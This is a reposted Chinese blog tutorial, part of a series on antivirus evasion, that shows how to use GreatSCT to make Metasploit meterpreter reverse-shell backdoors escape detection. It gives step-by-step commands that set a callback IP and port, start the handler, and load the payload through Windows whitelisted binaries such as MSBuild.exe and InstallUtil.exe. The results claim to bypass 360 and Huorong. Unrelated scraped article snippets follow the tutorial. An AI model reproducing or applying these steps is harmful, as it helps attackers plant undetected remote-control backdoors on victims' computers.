遠控免殺專題(20)-GreatSCT免殺

轉載:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

免殺能力一覽表

在這里插入圖片描述
幾點說明:

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟查殺能力的判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

一、GreatSCT介紹

GreatSCT可以基于Metasploit、自定義shellcode、powershell等生成payload,然后可利用多種白名單程序進行加載,從而達到免殺的目的。

支持的6種白名單方式:

1、Installutil.exe:安裝程序工具是一款命令行工具,允許您通過運行安裝程序組件來安裝和卸載特定程序集中的服務器資源。

2、Msbuild.exe:Microsoft Build Engine是一個用于構建應用程序的平臺。這個引擎,也稱為MSBuild。

3、Mshta.exe:Mshta.exe運行Microsoft HTML應用程序,Windows OS實用程序負責運行HTA(HTML應用程序)文件。我們可以運行JavaScript或Visual的HTML文件。

4、Regasm.exe:程序集注冊工具讀取程序集內的元數據,并將必要的記錄添加到注冊表中,從而允許COM客戶端透明地創建.NET框架類。

5、Regsvcs.exe:RegSvcs表示Microsoft .NET遠程注冊表服務,它以.NET服務安裝著稱。

6、Regsvr32.exe:Regsvr32是一個命令行實用程序,用于在Windows注冊表中注冊和取消注冊OLE控件,例如DLL和ActiveX控件。

二、安裝GreatSCT

GreatSCT依賴于python3環境,python2無法正常執行,而且操作系統建議kali或者parrot,其他系統還需要額外安裝msf。

1、從github上Clone到本地


git clone https://github.com/GreatSCT/GreatSCT.git

2、執行安裝程序


cd GreatSCT/setupsudo ./setup.sh -c

3、注意事項

看安裝命令比較簡單,但其實里面安裝的依賴程序還是挺多的。

比如其中有行安裝代碼是這樣的


apt-get -y -qq install mono-complete mono-mcs unzip wget git ruby p7zip wine wine32 wine64 winbind

看起來也沒什么問題,但裝著裝著可能就各種異常了。

如果安裝時出現異常,可以根據setup.sh內容自己逐項的去安裝解決。

三、GreatSCT使用說明

使用命令python3 GreatSCT.py -h可以查看幫助說明
在這里插入圖片描述
比較常用的幾個參數:

GreatSCT Options:--update      更新GreatSCTk.--version     顯示版本.--list-tools  列出GreatSCT所有的可用工具(模塊),不過目前只有Bypass這一個模塊-t Bypass     指定待使用的模塊,因為只有bypass,所以就只能用-t Bypass了Callback Settings:--ip IP, --domain IP  指定回連的IP--port Port           指定回連的端口[*] Payload Settings:--list-payloads       列出所有的可用payload--generate-awl        利用所有模塊批量免殺后門Great Scott Options:-c [OPTION1=value OPTION2=value [OPTION1=value OPTION2=value ...]]自定義payload選項-o OUTPUT NAME        指定生產后門文件的名字-p [PAYLOAD]          指定后門使用的payload--clean               清除輸出文件夾--msfoptions [OPTION=value [OPTION=value ...]]指定msf選項--msfvenom [windows/meterpreter/reverse_tcp]利用Msfvenom生成shellcode

其中–list-payloads的使用方法是python3 GreatSCT.py -t Bypass --list-payloads,可使用的26個payload。

看名稱也很容易判斷出各payload的作用,主要是生成相應shellcode后,使用installutil、msbuild、regasm、regsvcs等白名單程序來執行。和專題19中的工具nps_payload原理差不多,只不過GreatSCT支持的白名單更多一些。
在這里插入圖片描述
其中–generate-awl用法是python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333,使用payload批量生成免殺后門。

四、利用GreatSCT生成后門

4.1 交互式生成單個后門

GreatSCT提供了傻瓜式的交互模式生成后門
執行python3 GreatSCT.py
在這里插入圖片描述
輸入list可查看所有支持的工具模塊,只有一個
在這里插入圖片描述
輸入use 1或者use Bypass可使用該模塊,并進入到payload選擇中
在這里插入圖片描述
輸入list可查看所有模塊
在這里插入圖片描述
輸入use 序號可選擇使用對應payload,我這里就選msbuild/meterpreter/rev_https.py了,也就是use 8。進入參數設置。
在這里插入圖片描述
一般只需要設置LHOST和LPORT就可以
在這里插入圖片描述
輸入generate后開始生成后門文件,還會提示輸入文件名,不輸入的話會默認為payload

在這里插入圖片描述

啟動metasploit,可直接執行msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
在這里插入圖片描述
把/usr/share/greatsct-output/source/payload.xml文件拷貝到測試機上。

使用命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.xml來進行加載。
在這里插入圖片描述
可正常上線
在這里插入圖片描述
打開殺軟,動態+靜態都沒有提示
在這里插入圖片描述

4.2 參數式生成單個后門

GreatSCT可以使用參數自動生成shellcode,比較方便快捷。

以基于installutil的shellcode為例進行測試。


python3 GreatSCT.py --ip 10.211.55.2 --port 3333 -t Bypass -p installutil/meterpreter/rev_https.py

生成文件成功
在這里插入圖片描述
生成的payload.exe不能直接執行,需要使用InstallUtil.exe來執行。

執行命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe
可免殺,正常上線。
在這里插入圖片描述

4.3 批量生成后門

還可以使用命令python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333來批量生成后門文件,這樣每個payload對應一個后門。

執行后會在文件夾中生成類似的下列文件,自己可以逐一測試。
在這里插入圖片描述

五、GreatSCT小結

GreatSCT由于是基于白名單的文件加載,所以生成的.xml或.dll之類免殺效果比較好,而.exe文件免殺效果就比較一般了,所以可以根據具體情境去結合使用。GreatSCT提供了6中白名單方式,綜合免殺效果還算可以。

六、參考資料

官方github:https://github.com/GreatSCT/GreatSCT

GreatSct -應用程序白名單bypass工具:https://www.cnblogs.com/backlion/p/10493919.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/380098.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/380098.shtml
英文地址,請注明出處:http://en.pswp.cn/news/380098.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java LinkedList對象的get(int index)方法與示例

LinkedList對象的get(int索引)方法 (LinkedList Object get(int index) method) This method is available in package java.util.LinkedList.get(int index). 軟件包java.util.LinkedList.get(int index)中提供了此方法。 This method is used to retrieve an object or eleme…

Sql養成一個好習慣是一筆財富

我們做軟件開發的,大部分人都離不開跟數據庫打交道,特別是erp開發的,跟數據庫打交道更是頻繁,存儲過程動不動就是上千行,如果數據量大,人員流動大,那么我么還能保證下一段時間系統還能流暢的運行…

java上傳類

publicString doFormFile(FormFile file, String dir) { try { File f new File(dir); if (!f.exists()) { f.mkdir();//如果路徑不存在,創建 } InputStream in file.getInputStream(); …

C——用冒泡排序法、選擇排序法對隨機輸入的10個整數從小到大排序

//冒泡排序法 #include <stdio.h> int main() {int i,j,t,a[10];for(i0;i<10;i){scanf("%d",&a[i]);}for(i0;i<9;i)//10個數&#xff0c;進行9次循環&#xff0c;進行9趟比較{for(j0;j<9-i;j)//在每一趟比較中&#xff0c;進行9-i次比較{if(a[j]&…

遠控免殺專題(21)-HERCULES免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/Rkr9lixzL4tiL89r10ndig 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

PHP Cookbook讀書筆記 – 第16章互聯網服務

發送電子郵件 書中主要是以PEAR中的郵件發送類&#xff08;Mail&#xff09;來講解的&#xff08;關于如何在WIN系統下安裝PEAR可以參考WIN下成功安裝PEAR&#xff09;。PEAR的MAIL類可以通過3種方式來發送電子郵件&#xff1a; 通過PHP內部的mail函數來發送 通過sendmail程序來…

Python | 使用matplotlib.pyplot創建條形圖

Problem statement: Using matplotlib.pyplot library in python draw a bar graph with two values for comparison, using different colors. 問題陳述&#xff1a;在python中使用matplotlib.pyplot庫使用不同的顏色繪制帶有兩個值的條形圖以進行比較。 Program: 程序&#…

SQLSERVER內核架構剖析

我們做管理軟件的&#xff0c;主要核心就在數據存儲管理上。所以數據庫設計是我們的重中之重。為了讓我們的管理軟件能夠穩定、可擴展、性能優秀、可跟蹤排錯、可升級部署、可插件運行&#xff0c;我們往往研發自己的管理軟件開發平臺。我們總是希望去學習別人的開發平臺&#…

輸出以下的楊輝三角形(要求輸入個數字,表示需要輸出幾行)

#include<stdio.h> int main() {int i,j,k,n,x,a[100][100];a[0][1]1;scanf("%d",&x);for(i1;i<x;i){for(j1;j<i;j){a[i][j]a[i-1][j-1]a[i-1][j];printf("%5d ",a[i][j]);//%5d 表示右對齊隔5個空格&#xff1b;}//同理&#xff0c;%-5d…

遠控免殺專題(22)-SpookFlare免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

二維動態數組定義及二維靜態數組與**P的區別

矩力集成2008年校園招聘筆試題&#xff1a;動態申請一個二維數組存儲圖像陣列 傳統的解決方案是分配一個指針數組, 然后把每個指針初始化為動態分配的 列"。 以下為一個二維的例子: //typedef int (*arraypoiter)[ncolumns]; int **dynamic_alloc_arrays(unsigned int nro…

置換元素和非置換元素_循環置換數組元素的C程序

置換元素和非置換元素Problem statement: Write a c program to cyclically permute the element of an array. (In right to left direction). Array should be taken as input from the user. 問題陳述&#xff1a;編寫一個c程序來循環置換array的元素 。 (從右到左方向)。 數…

最新Asp.net源碼推薦列表(4月7日)

好久沒有在cnblogs給大家發布asp.net源碼了&#xff0c;把最近整理的一些發給大家&#xff0c;希望對大家有所幫助&#xff0c;以后爭取保持每周發布&#xff01;- WOBIZ第一季1.2版源碼 Hits:29 2008-4-7 [結構圖] [^][VS2005Access] 電子商務2.0軟件是窩窩團隊基于對互聯網…

遠控免殺專題(23)-SharpShooter免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

MySQL 發展史

一.MySQL 標志說明MySQL的海豚標志的名字叫“sakila”&#xff0c;它是由MySQL AB的創始人從用戶在“海豚命名”的競賽中建議的大量的名字表中選出的。獲勝的名字是由來自非洲斯威士蘭的開源軟件開發者Ambrose Twebaze提供。根據Ambrose所說&#xff0c;Sakila來自一種叫SiSwat…

scanf讀取字符_在C語言中使用scanf()讀取整數時跳過字符

scanf讀取字符Let suppose, we want to read time in HH:MM:SS format and store in the variables hours, minutes and seconds, in that case we need to skip columns (:) from the input values. 假設&#xff0c;我們要讀取HH&#xff1a;MM&#xff1a;SS格式的時間 &…

An Algorithm Summary of Programming Collective Intelligence (3)

k-Nearest Neighbors kNN(不要問我叫什么)PCI里面用kNN做了一個價格預測模型&#xff0c;還有一個簡單的電影喜好預測。簡單來說就是要對一個東西做數值預測&#xff0c;就要先有一堆已經有數值的東西&#xff0c;從里面找出和要預測的東西相似的&#xff0c;再通過計算這些相似…

遠控免殺專題(24)-CACTUSTORCH免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/g0CYvFMsrV7bHIfTnSUJBw 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

DOM快捷鍵

DOM所有的命令(CMD) 步驟/方法 cmd命令大全&#xff08;第一部分&#xff09;winver---------檢查Windows版本 wmimgmt.msc----打開windows管理體系結構(WMI) wupdmgr--------windows更新程序 wscript--------windows腳本宿主設置 write----------寫字板 winmsd---------系統…

病毒的手工排除與分析(更新完畢)

作者簡介楊京濤    8年以上的IT行業經驗&#xff0c;理解企業需求&#xff0c;有企業ERP軟件部署規劃能力&#xff0c;有綜合布線網絡規劃和管理能力。熟悉軟件以及各類硬件&#xff0c;電話程控設備&#xff0c;各類網絡設備的管理維護。有編程基礎,熟悉VBA、腳本、批處理…